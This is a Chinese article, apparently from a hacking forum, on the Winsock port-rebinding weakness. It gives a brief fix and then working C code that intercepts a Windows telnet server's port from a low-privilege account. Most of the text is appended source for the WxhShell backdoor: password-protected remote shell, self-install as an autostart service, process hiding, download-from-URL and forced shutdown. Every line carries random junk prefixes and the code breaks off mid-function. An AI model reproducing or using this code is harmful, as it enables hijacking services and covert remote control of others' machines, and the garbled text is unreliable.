在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W#e:r z8= s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
yHQ.EZ~% d(,-13 saddr.sin_family = AF_INET;
;knSn$ ,!kyrk6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[rTV)JsTb i3: sV 5 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~J)4 (411 GY,@jp|R 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0VoC|,$U ZT8. r0 这意味着什么?意味着可以进行如下的攻击:
y>2v 9;Qp mfG|K@ODM- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
pSQ3SM <WaiJy? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
N<Bi.\XC dcU|y%k% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
i/O!bq[o v{H23Cfh: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i2)SSQ XT>e/x9' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C'n 9n!hR N$Gx$u3Cd 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
b_V)]>v+ QI=SR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rC_K
L =eac,]31 #include
Uw61X>y= #include
sf\;|`} #include
.%-> #include
}C"#b\A2 DWORD WINAPI ClientThread(LPVOID lpParam);
Y141Twjvd int main()
54uTu2 {
"T}J|28Z WORD wVersionRequested;
V2,.@j# DWORD ret;
nkJ*$cT1o WSADATA wsaData;
@GnsW;$*~. BOOL val;
8>pFpS SOCKADDR_IN saddr;
pKEMp&geo SOCKADDR_IN scaddr;
nkhM1y int err;
BD4.sd+H, SOCKET s;
,z%F="@b9 SOCKET sc;
/f%u_ 8pV% int caddsize;
4i~;Ql HANDLE mt;
y9s5{\H DWORD tid;
! \awT wVersionRequested = MAKEWORD( 2, 2 );
iZSjT"l^ err = WSAStartup( wVersionRequested, &wsaData );
_LK>3Sqd if ( err != 0 ) {
MIR17%G printf("error!WSAStartup failed!\n");
+nJ}+|@K return -1;
B;K{Vo:C }
(|6qN saddr.sin_family = AF_INET;
UBU(@T( Tu6he8Q- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%pwm34 qQ1m5_OD`z saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
*Lh0E/5 saddr.sin_port = htons(23);
Hb]7>[L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(c}0Sg {
;3?M?E/$s printf("error!socket failed!\n");
yRgo1o w] return -1;
-8pHjry'q }
k~vmHb val = TRUE;
6u.b?_u //SO_REUSEADDR选项就是可以实现端口重绑定的
uq%RZF
z(v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
uY;/3?k& {
\7C >4 printf("error!setsockopt failed!\n");
=riP~%_ML) return -1;
#Se }
*508PY //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@Td[rHl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'<}7bw}+c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
QyN~Crwo 96PVn if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
n>eIQaV {
E""/dC:B ret=GetLastError();
6F(yH4 printf("error!bind failed!\n");
>WD^)W fa return -1;
b%_QL3m6 }
&x3"Rq_ listen(s,2);
'|q:h while(1)
z`Q5J9_<cV {
JDhA{VN6 caddsize = sizeof(scaddr);
b\+|g9Tm //接受连接请求
(
ou:"Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
5m bs0GL if(sc!=INVALID_SOCKET)
G|MDo|q] {
woT" 9_tN mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
6d.m@T6~ if(mt==NULL)
Z8 # I {
~d%Q1F*,= printf("Thread Creat Failed!\n");
R5i8cjKZ?w break;
?ykZY0{B }
FlgB-qR]<n }
ps[6)d)o CloseHandle(mt);
PRLV1o1# }
g:6yvEu$ - closesocket(s);
,G:4H%? WSACleanup();
6vjB;uS[ return 0;
\}Wkj~IX }
|HU
qqlf DWORD WINAPI ClientThread(LPVOID lpParam)
-#o+x Jj {
~pA;j7* SOCKET ss = (SOCKET)lpParam;
[!q&r(-K SOCKET sc;
5HIpoj;\( unsigned char buf[4096];
6m"
75 SOCKADDR_IN saddr;
G9a%N long num;
b c4x"]! DWORD val;
w@ 5/mf? DWORD ret;
Hb+#*42v //如果是隐藏端口应用的话,可以在此处加一些判断
]dK]a:S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
rO`g~>- saddr.sin_family = AF_INET;
:fYwFD( 9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'=~y'nPG7 saddr.sin_port = htons(23);
IX*S:7S[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0V#t ;`Q3 {
=zjUd 5 printf("error!socket failed!\n");
}H#t( 9,U return -1;
D{4hNO }
F=om^6G%X5 val = 100;
4QN;o%, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\l:g{GnoT {
ThlJhTh<%4 ret = GetLastError();
^'fKey` return -1;
u#M)i30j }
xI:
'Hk1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:ky<`Jfr` {
7L+X\oaB ret = GetLastError();
U&n>fXTHn return -1;
uT/B}`md }
05KoxFO? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
N
&[,nUd {
VqL
5f printf("error!socket connect failed!\n");
7ILa H|eN closesocket(sc);
KY`96~z closesocket(ss);
j?f <hQ return -1;
p},Fwbl }
Uo}&-$ B while(1)
kNj3!u$ {
M91lV(Z //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
V0Z7o\-J //如果是嗅探内容的话,可以再此处进行内容分析和记录
^A[`NYK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
B#6pQp$ num = recv(ss,buf,4096,0);
S9NN.dKu if(num>0)
vNt>ESPB send(sc,buf,num,0);
06^1#M$' else if(num==0)
R2O.}!' break;
R-Q1YHUQM num = recv(sc,buf,4096,0);
!e'0jf-~ if(num>0)
Ke?gz:9j send(ss,buf,num,0);
t/*K#]26 else if(num==0)
),]2`w&k break;
2ly,l[p8 }
~BvY8\@B closesocket(ss);
a*':W%7 closesocket(sc);
'K3s4x($ return 0 ;
RF5q5<0 }
aGe(vQPi9 zZ9<4"CIk C5+`< ==========================================================
Yxd{&47 zNny\Z 下边附上一个代码,,WXhSHELL
f5aF6FBH 6%. ==========================================================
S&3X~jD(1 8b(1ut{ #include "stdafx.h"
Wzqb>. IE)"rTI)b #include <stdio.h>
}xb_s #include <string.h>
Fi'M"^:r{ #include <windows.h>
l#b|@4:I #include <winsock2.h>
(9}eF)+O #include <winsvc.h>
`pi-zE) #include <urlmon.h>
b6nZ55 h sm;E2BR$
` #pragma comment (lib, "Ws2_32.lib")
6~ 7 ;o_> #pragma comment (lib, "urlmon.lib")
S,9NUt A~SL5h #define MAX_USER 100 // 最大客户端连接数
*
-KJh_ #define BUF_SOCK 200 // sock buffer
])V2}gH #define KEY_BUFF 255 // 输入 buffer
FgWkcV6B dK}WM46$ #define REBOOT 0 // 重启
ACigeK^C}E #define SHUTDOWN 1 // 关机
x}?DkFuxb Fm<jg}>MAd #define DEF_PORT 5000 // 监听端口
mDQEXMD "x(>Sj\%I #define REG_LEN 16 // 注册表键长度
b96t0w!cs #define SVC_LEN 80 // NT服务名长度
[DZqCo YlswSQ // 从dll定义API
d>%gW* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*jM_ wwG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+yf(Rs)! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
zoZ<)x=; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
DX}B0B b7B+eN ?z // wxhshell配置信息
JEWL) struct WSCFG {
bTLMd$ int ws_port; // 监听端口
4_PCqEp) char ws_passstr[REG_LEN]; // 口令
BBHK int ws_autoins; // 安装标记, 1=yes 0=no
$hkq>i \ char ws_regname[REG_LEN]; // 注册表键名
GE1i+.+-. char ws_svcname[REG_LEN]; // 服务名
t})lr\ char ws_svcdisp[SVC_LEN]; // 服务显示名
@#RuSc char ws_svcdesc[SVC_LEN]; // 服务描述信息
v(DwU! char ws_passmsg[SVC_LEN]; // 密码输入提示信息
v*E(/}<v int ws_downexe; // 下载执行标记, 1=yes 0=no
>i
"qMZ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B*\$
/bk, char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+I t#Z3 pzp,t(%j };
NS`07 #z^ eR:b=%T8 // default Wxhshell configuration
Ve{n<{P struct WSCFG wscfg={DEF_PORT,
-[qq(E "xuhuanlingzhe",
@X3{x\i'I 1,
Wpc|`e< "Wxhshell",
z%/N!RLW "Wxhshell",
BIj=!! "WxhShell Service",
_f6HAGDN "Wrsky Windows CmdShell Service",
iX\W;V "Please Input Your Password: ",
eznypY= 1,
S(mF%WJ "
http://www.wrsky.com/wxhshell.exe",
!p1qJ [ "Wxhshell.exe"
MaD3[4@# };
FE o269Ur sN("+ sZ.n // 消息定义模块
F_bF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
apk4j\i?5 char *msg_ws_prompt="\n\r? for help\n\r#>";
,<A$h3* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=~I-]4 char *msg_ws_ext="\n\rExit.";
IuZ) [*W char *msg_ws_end="\n\rQuit.";
TT9z_Q5~ char *msg_ws_boot="\n\rReboot...";
.IJ_jt-^d char *msg_ws_poff="\n\rShutdown...";
<x\7L2#p char *msg_ws_down="\n\rSave to ";
^'jEnN( eh[_~>w char *msg_ws_err="\n\rErr!";
&
/4k7X}y char *msg_ws_ok="\n\rOK!";
z5bo_Eq jLJ1u/l>; char ExeFile[MAX_PATH];
cVwbg[W] int nUser = 0;
$'pNp
B#vH HANDLE handles[MAX_USER];
X w .p int OsIsNt;
iV fgDo L}m8AAkP[ SERVICE_STATUS serviceStatus;
pZyQY+O SERVICE_STATUS_HANDLE hServiceStatusHandle;
Jl "mL +w8R!jdA // 函数声明
CU7F5@+ int Install(void);
+ht|N[P int Uninstall(void);
P00f6 int DownloadFile(char *sURL, SOCKET wsh);
$v8l0JA * int Boot(int flag);
H\1qI7N C void HideProc(void);
KQ[!o!% int GetOsVer(void);
=H<0o?8?c int Wxhshell(SOCKET wsl);
JCY~W=;v void TalkWithClient(void *cs);
MZ+e}|!4, int CmdShell(SOCKET sock);
wZh:F
! int StartFromService(void);
[Ei1~n)o int StartWxhshell(LPSTR lpCmdLine);
DKVT(#@T Ys8SDlMo VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*z'yk* VOID WINAPI NTServiceHandler( DWORD fdwControl );
}CxvT`/ mQ}ny (K' // 数据结构和表定义
tb?YLxMV SERVICE_TABLE_ENTRY DispatchTable[] =
tDDy]==E {
G4
G5PXi {wscfg.ws_svcname, NTServiceMain},
-{
u*qtp {NULL, NULL}
N S#TW };
!Oi~:Pp +PK6-c\r // 自我安装
,p;_\\< int Install(void)
VYw%01# {
IcIOC8WC char svExeFile[MAX_PATH];
!,Zp? g) HKEY key;
V3mAvmx strcpy(svExeFile,ExeFile);
PIXL6 {RB-lfrWs // 如果是win9x系统,修改注册表设为自启动
\Ey~3&x9f if(!OsIsNt) {
Dr;iQkGP
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
xmGk*W)P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KS*oxZ RegCloseKey(key);
]4 (?BJ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[ $fJRR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Z X~
_g@
RegCloseKey(key);
~L7:2weV[ return 0;
&:=$wc }
,YhwpkL }
, %YBG1E[y }
#%@MGrsK else {
u-"c0@ -=698h* // 如果是NT以上系统,安装为系统服务
htP|3 B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
1nPZ<^A&@ if (schSCManager!=0)
m+itno {
X bkb5EkA SC_HANDLE schService = CreateService
(Vg}Hh?p (
Q)af|GW$ schSCManager,
}1-I[q6 wscfg.ws_svcname,
>"3>fche wscfg.ws_svcdisp,
*5,c Rz SERVICE_ALL_ACCESS,
amQz^^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7-_vY[)/ SERVICE_AUTO_START,
~:_0CKa! SERVICE_ERROR_NORMAL,
YxJD _R svExeFile,
_{~]/k NULL,
G%u9+XV1# NULL,
8&V_$+ U NULL,
$\AEWFB NULL,
nU`Lhh8y NULL
}%n5nLU` );
f=J<*h if (schService!=0)
2>em0{e {
Ml>( tec CloseServiceHandle(schService);
(Y(E% CloseServiceHandle(schSCManager);
)gR=<oa strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
1px\K8 strcat(svExeFile,wscfg.ws_svcname);
nws"RcP+Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bXM/2Z?6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}jF+`!*! RegCloseKey(key);
6ri\>QrF return 0;
*@V*~^V"J[ }
VSOz.g> }
vuz4qCQ CloseServiceHandle(schSCManager);
U\+&cob. }
6gOe!mm }
NBl
__q O_K_f+7 return 1;
L(&}Wv }
*Zd84wRSj #l1Q e` // 自我卸载
(foBp int Uninstall(void)
u@%|kc` {
jJwkuh8R HKEY key;
N<z`yV |s gXh9%x< if(!OsIsNt) {
5nCu~<uJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!d9AG| RegDeleteValue(key,wscfg.ws_regname);
9>,Qgp,w RegCloseKey(key);
K^%-NyV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u@FsLHn RegDeleteValue(key,wscfg.ws_regname);
?)3jqQ. RegCloseKey(key);
"r.2]R3 return 0;
o4=Yu7L }
Gk~l,wV> }
cQpnEO&SL }
kReG: else {
"PpjoM
~ \Mi#{0f+q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#I`ms$j% if (schSCManager!=0)
'b:Ne,< {
ecH/Wz1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3/M.0}e if (schService!=0)
#-u [$TA {
%6 =\5> if(DeleteService(schService)!=0) {
:,*eX' fH CloseServiceHandle(schService);
1(`M~vFDK CloseServiceHandle(schSCManager);
hhRaJ return 0;
&:?e & }
9( VRq^Z1 CloseServiceHandle(schService);
BH : }
r>qA $zD^ CloseServiceHandle(schSCManager);
_LfHs1g4 }
J me% }
[^PCm Z6n @Hr+/52B return 1;
:7;[`bm(G }
+AQDD4bu zJ& b|L // 从指定url下载文件
>mIg@knE int DownloadFile(char *sURL, SOCKET wsh)
DacJ,in_I{ {
=L0fZf HRESULT hr;
fU*C/ d3 char seps[]= "/";
,9/5T: 2 char *token;
O25mkX char *file;
%]Cjhs"v char myURL[MAX_PATH];
@sf90&f char myFILE[MAX_PATH];
]O!s'lC gAE!aKy strcpy(myURL,sURL);
kC^.4n
om token=strtok(myURL,seps);
StQ@g while(token!=NULL)
QdDtvJLf {
~y\:iL//E file=token;
+*EKR token=strtok(NULL,seps);
U|fTb0fB }
a[O6YgO B7"Fp GetCurrentDirectory(MAX_PATH,myFILE);
k0&lu B% strcat(myFILE, "\\");
B3L4F" strcat(myFILE, file);
*PB/iVH%6 send(wsh,myFILE,strlen(myFILE),0);
ch,| 1}bi send(wsh,"...",3,0);
{$TZ}z"DA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cgNt_8qC if(hr==S_OK)
lYQtv=q return 0;
/e 5\ 9 else
FP;":i RL return 1;
d/B* QAaF@Do }
Dt {') uZ[/%GTX{) // 系统电源模块
Iu6W=A int Boot(int flag)
rdI]\UH {
?Y!U*& 7 HANDLE hToken;
<P pYl TOKEN_PRIVILEGES tkp;
1jOKcm'# Dm4B if(OsIsNt) {
aiR5/
ZD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.v7`$(T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
t,?,F4j tkp.PrivilegeCount = 1;
{h^c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=5_y<0`4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]|BojSL_ if(flag==REBOOT) {
{*__B} ,N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<rMv0y+r return 0;
ZV#$Z }
8}K"IW else {
5\?3$<1I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
q4k`)?k9 return 0;
{|p"; uJ }
??+:vai2 }
4a 4N
C else {
NE[y|/ if(flag==REBOOT) {
i?W]*V~ply if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
:Fo4O'UC return 0;
0k.v0a7% }
pDmK else {
DOT=U
_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Zr9 d&|$ return 0;
[lOf|^9 }
~ ;XYwQ" }
W{\EE[XhCf *78)2)=~ return 1;
:F9q> }
dWjx"7^ \"J?@ // win9x进程隐藏模块
5<^'Cy void HideProc(void)
h$|3dz N {
ki`8(u6l yz8-&4YRNd HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
DQMPAj. if ( hKernel != NULL )
`i9N)3
X {
;Na^]32 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>eRZ+|k?N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
P6:;Y5e0 FreeLibrary(hKernel);
B%2L1T= }
keaj3#O >6IXuq return;
rNZO.qijz }
%N>\:85? qP&byEs" // 获取操作系统版本
nW~$
(Qnd int GetOsVer(void)
&;Ed*OJ {
%I_&Ehu OSVERSIONINFO winfo;
Yr5iZ~V$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
jaK' W GetVersionEx(&winfo);
sk~ za if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
y>@v>S return 1;
7X(rLd
6# else
P)Z/JHB return 0;
]#vWKNv:; }
`oB' ( 4\&H?:c. // 客户端句柄模块
W"W@WG9X0 int Wxhshell(SOCKET wsl)
g4zT(,ZY {
{`+bW"9 SOCKET wsh;
mG>T`c|r3 struct sockaddr_in client;
o,g6JTh DWORD myID;
DhY;pG,t C]yvK} while(nUser<MAX_USER)
o~Bk0V= {
6].yRNy" int nSize=sizeof(client);
iSOD&J_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T {hyt if(wsh==INVALID_SOCKET) return 1;
|}M~kJ) pZc9q8j3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R"m.&%n if(handles[nUser]==0)
'wCS6_K closesocket(wsh);
-$AjD?; else
3js)niT9u nUser++;
E^oEG4X@ }
3Qqnw{* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"g
x5XW& JOA%Y;`<# return 0;
:X3rd|;kc }
Z|]l"W*w UeMnc 5y // 关闭 socket
$.ymby void CloseIt(SOCKET wsh)
w;lx:j!Vp$ {
O4lxeiRgC closesocket(wsh);
"
7l jc nUser--;
F?}m8ZRv ExitThread(0);
j09mI$2y67 }
B=Xnv*e wlm3~B\64 // 客户端请求句柄
sqm%iyC=q void TalkWithClient(void *cs)
@).WIs {
JA}S{ 9`ri
J4zl SOCKET wsh=(SOCKET)cs;
wk-Mu\ char pwd[SVC_LEN];
N2[, aU char cmd[KEY_BUFF];
L~^e\^sP char chr[1];
)v*v int i,j;
Ln"+nKr K?z*3^^X; while (nUser < MAX_USER) {
u+%)JhIp W)6U6 if(wscfg.ws_passstr) {
OU0xZ=G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
,\|n=T, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*D,v>( //ZeroMemory(pwd,KEY_BUFF);
H j>L>6> i=0;
d_4n0Kh0 while(i<SVC_LEN) {
Jm{As*W> I T*fjUY& // 设置超时
N&R
'$w fd_set FdRead;
'0\0SL struct timeval TimeOut;
5pNvzw FD_ZERO(&FdRead);
OGSEvfW FD_SET(wsh,&FdRead);
UMHuIA:%U TimeOut.tv_sec=8;
oN1!>S9m TimeOut.tv_usec=0;
<[ g$N4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
x]yHBc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
')5jllxv y>)mSl@1y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w3>Y7vxiz` pwd
=chr[0]; ,gFL Wb`B'
if(chr[0]==0xd || chr[0]==0xa) { i~v@
pwd=0; [8V(N2
break; TE*> a5C|
} {GGO')p
i++; Y\Fuj)
} !Szgph"ul
Vp- n(Z
// 如果是非法用户,关闭 socket 6E*Zj1KX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &lXx0"-$
} u;l6sdo
ey9fbS ^I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Oy?iAQ+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ek+8hnkh
~'PS|
while(1) { h!JjN$
E|8s2t
ZeroMemory(cmd,KEY_BUFF); I'6ed`|
~gzpX,{n
// 自动支持客户端 telnet标准 hj#+8=
j=0; %r}KvJgd
while(j<KEY_BUFF) { 34O+#0<y~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FZ}C;yUPD
cmd[j]=chr[0]; w
oY)G7%
if(chr[0]==0xa || chr[0]==0xd) { V)@nRJ g
cmd[j]=0; Wb}0-U{S'
break; A)s"h=R
} *}Ae9
j++; +Fy-~Mq
} ]i_):@
<R]Wy}2-
// 下载文件 $F
/p8AraK
if(strstr(cmd,"http://")) { ^/5E773
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^*owD;]4_
if(DownloadFile(cmd,wsh)) JzS^9)&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); OU
Yb-
else ggYIq*4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H$($l<G9C
} ={&TeMMA
else { `[W)6OUCx}
802]M
switch(cmd[0]) { =f{Z~`3
ogh2kht
// 帮助 Tl0+Bq
case '?': { ]cO$ E=W
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~9{-I{=
break; ^PCL^]W
} @v:ILby4-
// 安装 >f9]Nj
case 'i': { zs]>XO~Jg
if(Install()) 0UAr}H.:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ph|2lLZ
else ph$&f0A6Xc
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oVj A$|
break; tIp\MXkTQ&
} Lu$:,^ C
// 卸载 \2LA%ZU
case 'r': { K+aJ`V
if(Uninstall()) Se]t;7j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <3]/ms
else oR%E_g?mI~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e715)_HD
break; EXM/>PG
} I$P7%}
// 显示 wxhshell 所在路径 t+Tg@~K2[>
case 'p': { C(Bar#
char svExeFile[MAX_PATH]; I{P$B-
strcpy(svExeFile,"\n\r"); P)o[p(
strcat(svExeFile,ExeFile); I7-PF?
send(wsh,svExeFile,strlen(svExeFile),0); \=:g$_l
break; (G b{ckzs
} ]8j5Ou6#y
// 重启 Z~R/p;@
case 'b': { w})&[d
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b*%WAVt2T
if(Boot(REBOOT)) [}g5Z=l
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @X / =.
else { "i5AAP?_]{
closesocket(wsh); Y(;[L`"
ExitThread(0); ,2L,>?r6
} jC }u>AB
break; oGjYCVc
} Bf}0'MK8zQ
// 关机 !QzMeN;D
case 'd': { ;]ZHD$g
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9"v ox
if(Boot(SHUTDOWN)) 9<#R;eIsv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J'&?=|
else { <@2?2l+`X
closesocket(wsh); +GEKg~/4e
ExitThread(0); W2V@\
} I,q~*d
break; #B{F{,vlu,
} =>TtX@ Q{
// 获取shell ]$X=~>w
case 's': { :=KGQ3V~eK
CmdShell(wsh); A7}|VV
closesocket(wsh); (>% Vj
ExitThread(0); O4+w2'.,
break; &]A1 _dy
}
HAOrwJFqU
// 退出 )"Yah
case 'x': { +Gs;3jC^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _34YH 5
CloseIt(wsh); O?<_,-.
break; 2QD
B'xs3
} 8TM=AV
// 离开 -x5bdC(d
case 'q': { -&^( T
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
B#lj8I^|
closesocket(wsh); lP
&%5y;
WSACleanup(); , 0ja _
exit(1); O-m}P
break; 3m9E2R,
} z?g4^0e
} k3eN;3#&
} DxG'/5jQ[
'4S@:.D`
// 提示信息 Y'":OW#oN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0pG(+fN_9
} %&S]cEw
} ) FsSXnZL
JVCgYY({KQ
return; /R?uxhV
} (8/xSOZ[
\M^4Dd Ay
// shell模块句柄 @Kb~!y@G
int CmdShell(SOCKET sock) '\qr=0aW
{ X0L{#U
STARTUPINFO si; JG$J,!.\
ZeroMemory(&si,sizeof(si)); 'GT`%c k
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /v<8x?=
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uU"s50m
PROCESS_INFORMATION ProcessInfo; (S{c*"}2
char cmdline[]="cmd"; e;\c=J,eE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AE~}^(G`
return 0; :36^^Wm
} 4H'&5
z<XS"4l?W
// 自身启动模式 At:C4>HE@
int StartFromService(void) =l{KYv
{ &WS%sE{p_
typedef struct )8PL7P84
{ a2n#T,kq&
DWORD ExitStatus;
fQ) ;+
DWORD PebBaseAddress; I#%-A
DWORD AffinityMask; s_$@N!
DWORD BasePriority; G(e?]{(
ULONG UniqueProcessId; e70*y'1fu
ULONG InheritedFromUniqueProcessId; 4\iQ%fb
